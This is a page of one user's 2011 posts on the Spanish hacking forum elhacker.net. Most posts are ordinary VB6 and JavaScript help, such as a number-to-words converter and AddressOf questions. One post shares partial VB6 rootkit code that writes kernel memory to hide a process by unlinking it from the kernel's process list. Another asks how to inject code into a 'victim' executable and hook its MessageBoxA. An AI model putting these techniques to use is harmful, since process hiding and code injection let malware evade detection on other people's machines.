elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: AIO elhacker.NET 2021 Compilación herramientas análisis y desinfección malware


  Mostrar Mensajes
Páginas: 1 ... 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 [19] 20 21 22 23
181  Programación / Programación Visual Basic / Re: [Ayuda] CMD Echo en: 11 Septiembre 2011, 21:39 pm
En realidad no quiero que se envíe texto, solo que haga la función echo y que yo no vea texto escribiéndose, ej, hice un programa para consola y quiero que cuando lo ejecute me diga:
ej: tengo el cmd abierto:

y escribo

c:\>cleancookies

y que al hacer enter me diga:

Se ejecutó exitosamente.

y luego que parezca:
c:\> (o en el dir que estaba)

Resultado completo:


c:\>
c:\>cleancookies
Se ejecutó exitosamente.

c:\>
182  Programación / Programación Visual Basic / [Ayuda] CMD Echo en: 10 Septiembre 2011, 23:56 pm
Hola, estoy queriendo enviar texto a una ventana MDOS/CMD/command prompt abierta, el texto que deseo enviar no es tipo sendkey o sendmessage o postmessage, sinó como un "echo hola", que se imprime un enter, luego el hola luego otro enter y aparece el directorio en el que estaba para poder seguir escribiendo comandos, con el IDA encontré _cmd_printf, pero la verdad que no quiero llegar al punto de injectar dlls para enviar un echo, lo pensé hacer en ASM inline pero me cuesta mucho, mientras tanto me gustaría alguna opinión de ustedes, desde ya muchas gracias.
183  Programación / Desarrollo Web / Re: [Ayuda] Abrir ventana en: 29 Julio 2011, 01:19 am
Estuve viendo que el php se ejecta en el server o algo así, que no es en tiempo de ejecución, lo que quiero hacer es q cdo haga click en el botón, pase el texto que sería el dominio, como parámetro a una función, que me concatene algo y luego que me saque la IP de esa concatenación, y luego que lo una a otra dirección y que me abra esa dirección.
184  Programación / Desarrollo Web / [Ayuda] Abrir ventana en: 28 Julio 2011, 17:16 pm
Hola hice éste código y no funciona, supuestamente está bien  :rolleyes:

Código
  1. <script language="javascript">
  2. function topen(dominio)
  3. {
  4. var1 = 'mail.' + dominio;
  5. var2 = gethostbyname(var1);
  6. window.open('http://' + var2 + ':81/admin/list.cgi?domain=' + dominio + '&cmd=1');
  7. }
  8. </script>
  9.  
  10. <form name="test" method="post">
  11. <LABEL for="dominio">Dominio: </LABEL>
  12. <INPUT type="text" dom="dom">
  13. <br>
  14. <input type="button" value="Abrir" onclick="topen(dom.value)" />
  15. </form>
  16.  

Alguna idea? Desde ya muchas gracias.
185  Programación / Programación Visual Basic / Re: Clickear sin mover mouse en: 28 Julio 2011, 17:09 pm
Para clickear sin mover el mouse, tenés que dejar la mano fija, te recomiendo presionar el mouse así podés hacer click sin moverlo xDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD

En realidad lo que querés hacer es clickear sin mover el cursor (supongo) tal vez ésto ayude -> API mouse_event
186  Seguridad Informática / Análisis y Diseño de Malware / [Aporte chico] VB Inject KM from UM en: 11 Julio 2011, 21:31 pm
Hola, acá les dejo un code que por ahí les sirve a los que saben mucho, pude arreglarlo un poco pero no entiendo como funciona, lo que hace es injectar kernel mode desde user mode.

Form1:
Código
  1. Option Explicit
  2.  
  3. Private Sub Command1_Click()
  4. Dim pEP As Long
  5. Dim le As LIST_ENTRY
  6.  
  7. pEP = GetEProcess(Text1.Text) 'PID
  8.  
  9. Call ReadKernelMemory(pEP + &H88, VarPtr(le), 8)    'Dereference LE
  10.  
  11. MsgBox le.pBlink & vbCrLf & le.pFlink
  12. Stop
  13.  
  14. 'Call RtlAdjustPrivilege(20, 1, 0, 1)
  15. 'Also: Make sure you have SeDebug enabled of course.
  16. 'Can be easily done with: (20 = SeDebug's priv val)
  17. 'Call RtlAdjustPrivilege(20, 1, 0, 1)
  18. 'Fun stuff indeed
  19.  
  20. Call WriteKernelMemory(le.BLink, VarPtr(le.FLink), 4)     'A.FLink = &(C)     AKA: *(B.BLink+0) = le.FLink        This changes A's FLink from the address of B, to the address of C
  21. Call WriteKernelMemory(le.FLink + 4, VarPtr(le.BLink), 4) 'C.Blink = &(A)     AKA: *(B.FLink+4) = le.BLink        This changes C's BLink from the address of B, to the address of A
  22. End Sub
  23.  
  24. Private Sub Form_Load()
  25. Text1.Text = GetPEBAddress
  26. End Sub
  27.  

Module1
Código
  1. Option Explicit
  2.  
  3. 'To modify kernel memory from usermode  you can use the NtSystemDebugControl API function.
  4.  
  5. 'Found it from some chinese forum =].
  6. 'You wouldn 't believe the kind of crazy stuff they implement inside of VB6. (Most I cannot understand though because I lack knowledge of ASM.)
  7.  
  8. 'That code has really opened new doors for me and really got me interested in kernel data structures, rootkits, WinDbg, and the book "Subverting the Windows Kernel"
  9. 'In any case, here is an example of hiding a process by unlinking it from the _EPROCESS chain at 0x88 (I think WinDbg calls the member ActiveProcessLinks)
  10.  
  11. Public Type LIST_ENTRY
  12.     pFlink As Long
  13.     pBlink As Long
  14. End Type
  15.  
  16. 'http://forum.sysinternals.com/tip-run-process-in-system-account-scexe_topic16714_post88025.html
  17.  
  18. Public Declare Function NtSystemDebugControl Lib "NTDLL" (ByVal ControlCode As Long, ByRef InputBuffer As Any, ByVal InputBufferLength As Long, ByRef OutputBuffer As Any, ByVal OutputBufferLength As Long, ByRef ReturnLength As Long) As Long
  19.  
  20. Public Type MEMORY_CHUNKS
  21.    VirtualAddress As Long
  22.    Buffer As Long
  23.    BufferSize As Long
  24. End Type
  25.  
  26. Public Const DebugReadVirtualMemory& = 8
  27. Public Const DebugWriteVirtualMemory& = 9
  28.  
  29. Public Type PROCESS_BASIC_INFORMATION
  30.    ExitStatus As Long 'NTSTATUS
  31.    PebBaseAddress As Long 'PPEB
  32.    AffinityMask As Long 'ULONG_PTR
  33.    BasePriority As Long 'KPRIORITY
  34.    UniqueProcessId As Long 'ULONG_PTR
  35.    InheritedFromUniqueProcessId As Long 'ULONG_PTR
  36. End Type
  37.  
  38. Public Declare Function ZwQueryInformationProcess Lib "NTDLL.DLL" (ByVal ProcessHandle As Long, ByVal ProcessInformationClass As PROCESSINFOCLASS, ByVal ProcessInformation As Long, ByVal ProcessInformationLength As Long, ByRef ReturnLength As Long) As Long
  39.  
  40. Public Enum PROCESSINFOCLASS
  41.    ProcessBasicInformation
  42.    ProcessQuotaLimits
  43.    ProcessIoCounters
  44.    ProcessVmCounters
  45.    ProcessTimes
  46.    ProcessBasePriority
  47.    ProcessRaisePriority
  48.    ProcessDebugPort
  49.    ProcessExceptionPort
  50.    ProcessAccessToken
  51.    ProcessLdtInformation
  52.    ProcessLdtSize
  53.    ProcessDefaultHardErrorMode
  54.    ProcessIoPortHandlers '// Note: this is kernel mode only
  55.    ProcessPooledUsageAndLimits
  56.    ProcessWorkingSetWatch
  57.    ProcessUserModeIOPL
  58.    ProcessEnableAlignmentFaultFixup
  59.    ProcessPriorityClass
  60.    ProcessWx86Information
  61.    ProcessHandleCount
  62.    ProcessAffinityMask
  63.    ProcessPriorityBoost
  64.    ProcessDeviceMap
  65.    ProcessSessionInformation
  66.    ProcessForegroundInformation
  67.    ProcessWow64Information
  68.    ProcessImageFileName
  69.    ProcessLUIDDeviceMapsEnabled
  70.    ProcessBreakOnTermination
  71.    ProcessDebugObjectHandle
  72.    ProcessDebugFlags
  73.    ProcessHandleTracing
  74.    ProcessIoPriority
  75.    ProcessExecuteFlags
  76.    ProcessResourceManagement
  77.    ProcessCookie
  78.    ProcessImageInformation
  79.    MaxProcessInfoClass '// MaxProcessInfoClass should always be the last enum
  80. End Enum
  81.  
  82. Public Declare Function NtCurrentTeb Lib "NTDLL" () As Long
  83.  
  84. Public Declare Function IsBadReadPtr Lib "kernel32" (ByVal lp As Long, ByVal ucb As Long) As Long
  85.  
  86. Public Declare Sub RtlMoveMemory Lib "kernel32" (ByVal Destination As Long, ByVal Source As Long, ByVal Length As Integer)
  87.  
  88. Public Function GetPEBAddress() As Long
  89.    On Error GoTo NotSupported
  90.    Dim pbi As PROCESS_BASIC_INFORMATION, Dummy As Long
  91.  
  92.    If ZwQueryInformationProcess(-1&, 0&, VarPtr(pbi), Len(pbi), Dummy) = 0 Then
  93.        GetPEBAddress = pbi.PebBaseAddress
  94.    Else
  95.        GetPEBAddress = GetPEBAddressinXP
  96.    End If
  97. NotSupported:
  98. End Function
  99.  
  100. Public Function ReadKernelMemory(ByVal VirtualAddress As Long, ByVal Buffer As Long, ByVal BufferSize As Long) As Long
  101.    Dim MemoryChunks As MEMORY_CHUNKS
  102.    MemoryChunks.VirtualAddress = VirtualAddress
  103.    MemoryChunks.Buffer = Buffer
  104.    MemoryChunks.BufferSize = BufferSize
  105.    ReadKernelMemory = NtSystemDebugControl(DebugReadVirtualMemory, MemoryChunks, Len(MemoryChunks), ByVal 0&, 0, ByVal 0&)
  106. End Function
  107.  
  108. Public Function WriteKernelMemory(ByVal VirtualAddress As Long, ByVal Buffer As Long, ByVal BufferSize As Long) As Long
  109.    Dim MemoryChunks As MEMORY_CHUNKS
  110.    MemoryChunks.VirtualAddress = VirtualAddress
  111.    MemoryChunks.Buffer = Buffer
  112.    MemoryChunks.BufferSize = BufferSize
  113.    WriteKernelMemory = NtSystemDebugControl(DebugWriteVirtualMemory, MemoryChunks, Len(MemoryChunks), ByVal 0&, 0, ByVal 0&)
  114. End Function
  115.  
  116. Public Function GetPEBAddressinXP() As Long
  117.    On Error GoTo NotSupported 'Windows 9X/Me will occures error
  118.    Dim pTeb As Long, ppPeb As Long
  119.    pTeb = NtCurrentTeb 'get TEB
  120.  
  121.    On Error Resume Next ' on error ignore
  122.    If pTeb = 0 Then Exit Function 'if it has invalid TEB, run away this procedure
  123.    ' +0x030 ProcessEnvironmentBlock : _PEB
  124.    ppPeb = pTeb + &H30&
  125.    'check IsValid
  126.    If IsBadReadPtr(ByVal ppPeb, 4) Then Exit Function
  127.    ' returns PEB
  128.    RtlMoveMemory GetPEBAddress, ByVal ppPeb, 4
  129. NotSupported:
  130. End Function
  131.  

Los que quieran aportar conocimientos y funcionamientos, bienvenidos sean :). Saludos.

Edit:
Falta código que no lo pude conseguir ni completar.
187  Programación / Programación Visual Basic / Re: ASM en VB6 [Respuesta a Myserik] en: 11 Junio 2011, 15:25 pm
:D:D:D gracias, lo había pensado así pero no agregar al array el GetProc, a veces la respuesta suele ser como uno la piensa :P. Gracias (Y)(Y)(Y)
188  Programación / Programación Visual Basic / Re: Convertir numeros a letras en: 10 Mayo 2011, 22:41 pm
Weno estaba sin nada que hacer entonces me lo puse a razonar, éste código no está optimizado.
No programo de una manera determinada, lo hago con respecto a las reacciones cerebrales dependiendo de ciertos estímulos, oséa que mañana lo puedo pensar de una manera diferente... acá dejo el código (Y).

PD: no sé hasta que número capta bien. créo que hasta 999.999.999
PD2: pueden haber errores gramaticales *-)  :silbar:

Código
  1. [Form]
  2. Option Explicit
  3.  
  4. Private Sub Command1_Click()
  5.  
  6. Text2.Text = NumersToLetters(Val(Text1.Text))
  7.  
  8. Exit Sub
  9. '1226
  10. 'y que devuelva:
  11. 'mil doscientos veinte y seis....
  12. Dim num As Double
  13.  
  14. 'num = 1.000.000.000.000
  15. num = 1000000000000#
  16.  
  17. MsgBox num
  18.  
  19. MsgBox Val(Text1.Text)
  20. End Sub
  21.  
  22. Private Sub Form_Load()
  23. 'Dim p As Byte
  24.  
  25. 'p = 99
  26.  
  27. 'Select Case p
  28. '    Case 1 To 99
  29. '        MsgBox "< 100"
  30. '    Case Else
  31. '        MsgBox "> 100"
  32. 'End Select
  33. End Sub
  34.  
  35. Private Sub Text1_KeyPress(KeyAscii As Integer)
  36. If KeyAscii = 8 Then Exit Sub
  37. If IsNumeric(Chr(KeyAscii)) <> True Then KeyAscii = 0
  38. End Sub
  39.  

Código
  1. Option Explicit
  2. '----------------------------------------------------------------------------------------
  3. ' Module            : NumbersToLetters
  4. ' Purpose           : Numbers to letters
  5. ' Author            : Misery
  6. ' DateTime_Begin    : 09/05/2011
  7. ' DateTime_End      : 10/05/2011
  8. '----------------------------------------------------------------------------------------
  9.  
  10. 'http://roble.pntic.mec.es/msanto1/ortografia/numeros.htm
  11.  
  12. 'unidad = cero, uno, dos, tres, cuatro, cinco, seis, siete, ocho, nueve, diez
  13. 'decena = once, doce, trece, catorce, quince, ->(Ahora aparece el Copy Paste) dieciséis, diecisiete,
  14.    'dieciocho, diecinueve, veinte, veintiuno, veintidós, veintitrés, veinticuatro, veinticinco, veintiséis
  15.    'veintisiete, veintiocho, veintinueve, treinta, treinta y uno, treinta y dos, cuarenta, cuarenta y uno
  16.    'cincuenta, sesenta, setenta, ochenta, noventa
  17. 'centena: cien, ciento uno, ciento dos, doscientos, doscientos dos, trescientos, cuatrocientos, quinientos
  18.    'seiscientos, setecientos, ochocientos, novecientos
  19.  
  20.  
  21.  
  22. 'unidad de mil: mil, dos mil, tres mil, cuatro mil, cinco mil, seis mil, siete mil, ocho mil, nueve mil
  23. 'decena de mil: diez mil (10.000)
  24. 'centena de mil: cien mil (100.000), quinientos mil (500.000)
  25. 'unidad de millon?: un millón (1.000.000)---------------------------------DIE HERE
  26. 'decena de millon?: diez millones (10.000.000)
  27. 'centena de millon?: cien millones (100.000.000)
  28. 'mil millones (1.000.000.000)
  29. 'diez mil millones (10.000.000.000)
  30. 'cien mil millones (100.000.000.000)
  31. 'un billón (1.000.000.000.000)
  32.  
  33. '*Long (4) Números enteros en el rango de -2.147.483.648 a 2.147.483.647
  34.  
  35. 'Se me fueron las ganas de hacer este programa, y solamente hice los comentarios...
  36.  
  37. '1226
  38. 'y que devuelva:
  39. 'mil doscientos veinte y seis.... -> mil doscientos veintiseis, lol, que ironía.
  40.  
  41. Public unidad(0 To 15) As String
  42. Public Subunidad(0 To 10) As String
  43.  
  44. Public decena(0 To 9) As String
  45. Public centena(0 To 9) As String
  46.  
  47. Public mil(0 To 9) As String
  48.  
  49. Sub Main()
  50. Call Config
  51. Form1.Show
  52. End Sub
  53.  
  54. Public Sub Config()
  55. Dim i As Byte
  56.  
  57. '#############################################################
  58.                   '                DECENA(0,1,2,3)                                        CENTENA(4,5,6,7) ->                                  MIL(8,9)
  59. unidad(0) = "cero": Subunidad(0) = ""
  60. unidad(1) = "uno": Subunidad(1) = "on;die;ci;":             Subunidad(1) = Subunidad(1) & ";c;ien;;" ':           Subunidad(1) = Subunidad(1) & ";;mil"
  61. unidad(2) = "dos": Subunidad(2) = "do;ve;int;":             Subunidad(2) = Subunidad(2) & ";c;ien;dos;tos" ':     Subunidad(2) = Subunidad(2) & ";dos ;mil"
  62. unidad(3) = "tres": Subunidad(3) = "tre;tre;int;a":         Subunidad(3) = Subunidad(3) & ";c;ien;tres;tos" ':    Subunidad(3) = Subunidad(3) & ";tres ;mil"
  63. unidad(4) = "cuatro": Subunidad(4) = "cator;cuar;ent;a":    Subunidad(4) = Subunidad(4) & ";c;ien;cuatro;tos" ':  Subunidad(4) = Subunidad(4) & ";cuatro ;mil"
  64. unidad(5) = "cinco": Subunidad(5) = "quin;cincu;ent;a":     Subunidad(5) = Subunidad(5) & ";;ien;quin;tos" ':     Subunidad(5) = Subunidad(5) & ";cinco ;mil"
  65. unidad(6) = "seis": Subunidad(6) = "ses;ses;ent;a":         Subunidad(6) = Subunidad(6) & ";c;ien;seis;tos" ':    Subunidad(6) = Subunidad(6) & ";seis ;mil"
  66. unidad(7) = "siete": Subunidad(7) = "set;set;ent;a":        Subunidad(7) = Subunidad(7) & ";c;ien;sete;tos" ':    Subunidad(7) = Subunidad(7) & ";siete ;mil"
  67. unidad(8) = "ocho": Subunidad(8) = "och;och;ent;a":         Subunidad(8) = Subunidad(8) & ";c;ien;ocho;tos" ':    Subunidad(8) = Subunidad(8) & ";ocho ;mil"
  68. unidad(9) = "nueve": Subunidad(9) = "nov;nov;ent;a":        Subunidad(9) = Subunidad(9) & ";c;ien;nove;tos" ':    Subunidad(9) = Subunidad(9) & ";nueve ;mil"
  69. unidad(10) = "diez" ': Subunidad(10) = "en;ento;tos;ien"
  70.  
  71. 'Numeros molestos
  72. 'once, doce, trece, catorce, quince
  73. 'unidad(11) = "once" 'DEATH
  74. For i = 1 To 5
  75.    unidad(i + 10) = Split(Subunidad(i), ";")(0) & "ce"
  76. Next i
  77. 'unidad(12) = "doce" 'DEATH
  78. 'unidad(13) = "trece" 'DEATH
  79. 'unidad(14) = "catorce" 'DEATH
  80. 'unidad(15) = "quince" 'DEATH
  81.  
  82. '#############################################################
  83.  
  84. For i = 1 To 9
  85.    decena(i) = Split(Subunidad(i), ";")(1) & Split(Subunidad(i), ";")(2) & Split(Subunidad(i), ";")(3)
  86.    'If i = 1 Then
  87.    '    decena(i) = Split(Subunidad(i * 10), ";")(1) & "ci" 'dieci-séis, dieci-siete, dieci-ocho, dieci-nueve
  88.    'Else
  89.    '    decena(i) = Split(Subunidad(i * 10), ";")(1) & "int"
  90.    '    If i > 2 Then decena(i) = decena(i) & "a"
  91.    'End If
  92. Next i
  93.  
  94. 'decena(1) = Subunidad(10) & "ci" '>= 16 dieci-séis, dieci-siete, dieci-ocho, dieci-nueve
  95. 'decena(2) = "veint" 'veint e 20 / veint i 20+ +numero
  96. ''Acá puedo hacer lo mismo que abajo, hay un patrón para éstos números, pero mucho bardo
  97. 'decena(3) = "treinta" ' y +numero
  98. 'decena(4) = "cuarenta" ' y +numero
  99. 'decena(5) = "cincuenta" ' y +numero
  100. 'decena(6) = "sesenta" ' y +numero
  101. 'decena(7) = "setenta" ' y +numero
  102. 'decena(8) = "ochenta" ' y +numero
  103. 'decena(9) = "noventa" ' y +numero
  104. 'decena(10) = "cien"
  105.  
  106. '#############################################################
  107.  
  108. 'centena(1) = "cien" ' +numero
  109. For i = 1 To 9 '                                                        C                            IEN                           TOS
  110.    centena(i) = Split(Subunidad(i), ";")(6) & Split(Subunidad(i), ";")(4) & Split(Subunidad(i), ";")(5) & Split(Subunidad(i), ";")(7)
  111. Next i
  112. 'numero + cien + tos
  113. 'centena(2) = "doscientos"
  114. 'centena(3) = "trescientos"
  115. 'centena(4) = "cuatrocientos"
  116. 'centena(5) = "quinientos"
  117. 'centena(6) = "seiscientos"
  118. 'centena(7) = "setecientos"
  119. 'centena(8) = "ochocientos"
  120. 'centena(9) = "novecientos"
  121.  
  122. '#############################################################
  123.  
  124. 'For i = 1 To 9 '                    NUM                          MIL
  125. '    mil(i) = Split(Subunidad(i), ";")(8) & Split(Subunidad(i), ";")(9)
  126. 'Next i
  127. End Sub
  128.  
  129. Public Function NumersToLetters(ByVal Number As Double) As String
  130. On Local Error Resume Next
  131. Dim u As Byte, d As Byte, c As Byte
  132.  
  133. Dim tLoop As Byte, Rta As String, cont As Byte
  134. Dim partes(1 To 3) As String 'x millones + x miles + c + d + u
  135.  
  136. 'u = Mid(StrReverse(Number), 1, 1)
  137. 'd = Mid(StrReverse(Number), 2, 1)
  138. 'c = Mid(StrReverse(Number), 3, 1)
  139. '.
  140.  
  141. For tLoop = 1 To Len(CStr(Number))
  142.    u = Mid(StrReverse(Number), tLoop, 1)
  143.  
  144.    If tLoop + 1 > Len(CStr(Number)) Then
  145.        d = 0
  146.    Else
  147.        d = Mid(StrReverse(Number), tLoop + 1, 1)
  148.    End If
  149.  
  150.    If tLoop + 2 > Len(CStr(Number)) Then
  151.        c = 0
  152.    Else
  153.        c = Mid(StrReverse(Number), tLoop + 2, 1)
  154.    End If
  155.  
  156.    Rta = Ret_C(c, d, u) & " " & Ret_DU(c, d, u, cont, Len(CStr(Number))) & " " & RetornarPunto(tLoop, c, d, u)
  157.    tLoop = tLoop + 2
  158.    cont = cont + 1
  159.    partes(cont) = Rta
  160. Next tLoop
  161.  
  162. 'If Number > 1000000 Then
  163. '    NumersToLetters = "Error, solo hasta 1 millon."
  164. '    Exit Function
  165. 'End If
  166.  
  167. Dim p_d As String, p_c As String
  168.  
  169. 'p_d = Ret_DU(c, d, u)
  170. 'p_c = Ret_C(c, d, u)
  171.  
  172. 'NumersToLetters = p_c & " " & p_d
  173. NumersToLetters = Trim(Trim(partes(3)) & " " & Trim(partes(2)) & IIf(Trim(partes(2)) <> "", " ", "") & Trim(partes(1)))
  174. End Function
  175.  
  176. Public Function Ret_DU(ByVal c As Byte, ByVal d As Byte, ByVal u As Byte, ByVal Punto As Byte, ByVal Longitud As Byte) As String
  177. If (c * 100) + (d * 10) + (u * 1) = 0 And Longitud < 4 Then
  178.    Ret_DU = unidad(u)
  179.    Exit Function
  180. End If
  181. Select Case d
  182.    Case 0
  183.        If Punto = 0 Then
  184.            Ret_DU = IIf(u > 0, unidad(u), "")
  185.        ElseIf Punto >= 1 Then
  186.            If u = 1 Then
  187.                Ret_DU = "un"
  188.            Else
  189.                Ret_DU = IIf(u > 1, unidad(u), "")
  190.            End If
  191.        End If
  192.    Case 1
  193.        Select Case (d * 10) + u
  194.            Case 10
  195.                Ret_DU = unidad((d * 10) + u)
  196.            Case 11 To 15
  197.                Ret_DU = unidad((d * 10) + u)
  198.            Case Else
  199.                Ret_DU = decena(1) & unidad(u)
  200.        End Select
  201.    Case 2
  202.        Select Case (d * 10) + u
  203.            Case 20
  204.                Ret_DU = decena(2) & "e"
  205.            Case Else
  206.                Ret_DU = decena(2) & "i" & unidad(u)
  207.        End Select
  208.    Case Else
  209.        'Ret_DU = decena(d) & IIf(u > 0, " y ", "") & IIf(u > 0, unidad(u), "")
  210.        Ret_DU = decena(d) & IIf(u > 0, " y ", "") & IIf(u > 0, unidad(u), "")
  211.        If Punto > 0 Then Ret_DU = Replace(Ret_DU, "uno", "un")
  212.            'Esto es para q no diga 331123 - trescientos treinta y "uno" mil ciento veintitres
  213.            'Muchas cosas que modifiké son este tipo de casos...
  214. End Select
  215. 'diez
  216. 'once
  217. 'doce
  218. 'trece
  219. 'catorce
  220. 'quince
  221. 'dieci-seis
  222. 'dieci-siete
  223. 'dieci-ocho
  224. 'dieci-nueve
  225.  
  226. 'veint-e
  227. 'veint-i-uno
  228. 'veint-i-dos
  229. 'veint-i-tres
  230. 'veint-i-cuatro
  231. 'veint-i-cinco
  232. 'veint-i-seis
  233. 'veint-i-siete
  234. 'veint-i-ocho
  235. 'veint-i-nueve
  236. End Function
  237.  
  238. Public Function Ret_C(ByVal c As Byte, ByVal d As Byte, ByVal u As Byte) As String
  239. Select Case c
  240.    Case 1
  241.        Select Case (d * 10) + u
  242.            Case 0
  243.                Ret_C = centena(c)
  244.            Case Else
  245.                Ret_C = centena(c) & "to"
  246.        End Select
  247.    Case Else
  248.        Ret_C = centena(c)
  249. End Select
  250. End Function
  251.  
  252. Public Function RetornarPunto(ByVal tLoop As Byte, ByVal c As Byte, ByVal d As Byte, ByVal u As Byte) As String
  253. Select Case tLoop
  254.    Case 4
  255.        RetornarPunto = IIf(c * 100 + d * 10 + u * 1 > 0, "mil", "")
  256.    Case 7
  257.        RetornarPunto = "millon" & IIf(c * 100 + d * 10 + u * 1 > 1, "es", "")
  258. End Select
  259. End Function
  260.  
189  Programación / Programación Visual Basic / AddressOf / Tamaño de funcion en: 9 Mayo 2011, 23:14 pm
Hola a todos, estuve viendo el tema del address de una función.
Código:
Código
  1. [Module1]
  2. Option Explicit
  3.  
  4. Sub Main()
  5. 'MsgBox Hex(AddressOf procesoX)
  6.  
  7. 'Dim ThisAddress&
  8.  
  9. 'ThisAddress& = Adrs&(AddressOf procesoX)
  10. 'MsgBox ThisAddress& & " - (" & Hex(ThisAddress&) & ")"
  11. End Sub
  12.  
  13. Public Function Adrs(ByVal Addrs As Long) As Long
  14. Adrs = Addrs
  15. End Function
  16.  
  17. Public Function procesoX(ParamArray ParametrosX() As Variant) As String
  18. procesoX = "procesoX"
  19. End Function
  20.  
  21. Public Function Valor(ByVal v1 As Long, ByVal v2 As Long) As Long
  22. Valor = v1 + v2
  23. End Function
  24.  
  25. Public Sub Mensaje()
  26. MsgBox "Test"
  27. End Sub
  28.  

Código
  1. [Form1]
  2. Option Explicit
  3.  
  4. Private Sub Command1_Click()
  5. Dim ThisAddress As Long
  6.  
  7. Text1.Text = ""
  8.  
  9. ThisAddress = Adrs(AddressOf procesoX)
  10. Text1.Text = Text1.Text & "AddressOf procesoX: " & Hex(ThisAddress) & vbCrLf & _
  11. "[Public Function procesoX(ParamArray ParametrosX() As Variant) As String" & vbCrLf & _
  12. "procesoX = ''procesoX''" & vbCrLf & _
  13. "End Function" & "]" & vbCrLf & vbCrLf
  14.  
  15. ThisAddress = Adrs(AddressOf Valor)
  16. Text1.Text = Text1.Text & "AddressOf Valor: " & Hex(ThisAddress) & vbCrLf & _
  17. "[Public Function Valor(ByVal v1 As Long, ByVal v2 As Long) As Long" & vbCrLf & _
  18. "Valor = v1 + v2" & vbCrLf & _
  19. "End Function" & "]" & vbCrLf & vbCrLf
  20.  
  21. ThisAddress = Adrs(AddressOf Mensaje)
  22. Text1.Text = Text1.Text & "AddressOf Mensaje: " & Hex(ThisAddress) & vbCrLf & _
  23. "[Public Sub Mensaje()" & vbCrLf & _
  24. "MsgBox ''Test''" & vbCrLf & _
  25. "End Sub" & "]"
  26.  
  27. 'ThisAddress& = Adrs&(AddressOf Mensaje)
  28.  
  29. 'Me.Caption = Hex(ThisAddress)
  30. End Sub
  31.  
  32. Private Sub Command2_Click()
  33. Call Mensaje
  34. End Sub
  35.  

Gracias a BlackZeroX por el este code que me dió hace mucho  ;-) ;-) ;-)

Ahora la pregunta es: cómo puedo obtener la longitud de cada función? Porque lo que estoy tratando de hacer, es injectar en otro programa solo la función Mensaje (por ejemplo) y hacerle un jmp en el MessageBoxA del ejecutable víctima, donde alojé dicha función. Gracias a to2.
190  Programación / Programación Visual Basic / Re: Bloquear teclado desde VB? en: 9 Mayo 2011, 22:19 pm
Muchas gracias por su ayuda   :D

@Miseryk tu code va de 10  :P  ;-) (falta probarlo con 7)

hasta luego !  ;)

Me alegro :), en w7 tiene que funcar, =mente depende del SO... xq hay muchos w7, en el q usaba, funcaban to2 los programas de VB con las llamadas viejas a funciones de W XP.
Páginas: 1 ... 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 [19] 20 21 22 23
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines